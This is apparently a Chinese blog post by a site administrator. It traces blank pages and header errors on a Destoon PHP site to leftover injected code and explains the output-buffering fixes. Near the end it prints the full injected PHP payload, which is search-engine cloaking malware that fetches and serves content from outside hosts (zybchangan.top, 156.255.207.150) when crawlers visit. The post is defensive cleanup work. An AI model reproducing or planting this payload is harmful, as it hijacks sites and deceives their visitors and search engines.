经过昨天的 PHP 脚本注入代码分析,在删除了相关注入代码后并保存后,今早官网访问又异常了。页面显示空白,与昨日场景如出一辙,但我查看那个公共文件,并没有发现注入代码,似乎一切都很正常。

在彻底卸载相关软件后,依然没有恢复。没办法,只能通过设置输出锚点来确认产生错误的位置。

echo 1;
exit();

查找到产生错误的位置(destoon - b2b 框架):

($DT['gzip_enable'] && !$_POST && !defined('DT_MOBILE')) ? ob_start('ob_gzhandler') : ob_start();

后台开启了 gzip 压缩,所以默认会执行 ob_start('ob_gzhandler'),也就是这一句出现了错误。

在 PHP 4.0 后开启 zlib 模块就能支持 gzip 压缩,检查 IIS 服务器,压缩静态动态压缩都有勾选,没有问题。

在网上找到一个一篇解决方案:PHP ob_start('ob_gzhandler')提示内容编码错误问题的解决方法

ob_start() 函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除 http 标头外),相反需要输出的内容被存储在内部缓冲区中。但是有时在使用的时候会提示内容编码错误,大概就是两个原因。

原因一:

服务器不支持这种压缩格式,解决方案 ob_start('ob_gzhandler') 改成 ob_start()

原因二:

使用 ob_start('ob_gzhandler') 时前面已经有内容输出,解决方案,使用 ob_end_clean() 来清除输出的内容;

因为怀疑是之前安装的安全软件导致服务器 gzip 压缩无法使用,所以先尝试了原因一的解决方案:

ob_start('ob_gzhandler') 改成 ob_start(),并将原来的判断语句直接注释掉。

问题确实解决了,首页访问正常了。但后续又陆续出现的一些错误让我意识到事情没有那么简单。

之后同事反馈获取图形验证码失败了,通过前面的设置输出锚点来确认产生错误的位置:

header("Content-type: image/png"); 

照理说这是很正常的 http 头部设置了,因为要返回的就是图片。搞不清楚,就去问了百度,看到这篇 header("Content-type: image/png"); 显示图片出错,提到 发送 http 报头前面不能有数据输出。这让我联想到之前ob_start('ob_gzhandler') 报错原因二 使用 ob_start('ob_gzhandler') 时前面已经有内容输出,恍然大悟。问题的根源就是公共文件里在调用这两个函数之前存在内容输出。

找到问题后再去排查,通过设置 ob_end_clean() 代码位置,找到了出现问题的地方:还是昨天的那个被注入的公共文件。打开错误提示,显示 176 行存在内容输出,原来他把注入代码写到后面去了。。。

Warning: Cannot modify header information - headers already sent by (output started at xxx\config.inc.php:128) in xxx\config.inc.php on line 129

被注入的公共文件

<?php
...
?>



<?php
header("Content-Type: text/html;charset=utf-8");set_time_limit(0);error_reporting(1);$a='stristr';$b=$_SERVER;define('url',$b['REQUEST_URI']);define('ref',$b['HTTP_REFERER']);define('ent',$b['HTTP_USER_AGENT']);define('site',"http://zybchangan.top/");define('road',"?road=".$b['HTTP_HOST'].url."&der=".ent);define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i');define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(area&&preg_match(regs,ref)){echo gga('http://156.255.207.150/'.'/34.html');exit;}if(preg_match(regs,ent)){if(area){echo gga(site.road);exit;}else{echo gga(site."?zz".road);ob_flush();flush();}}function gga($d){$e=array('http'=>array('method'=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}
?>

注入的代码正常情况下是没有输出的,但注入代码标签跟文件原有代码标签之间存在换行输出,这导致了页面空白或警告错误。

好吧,删除相关注入代码,删除 PHP 闭合标签之外的空白行,完工!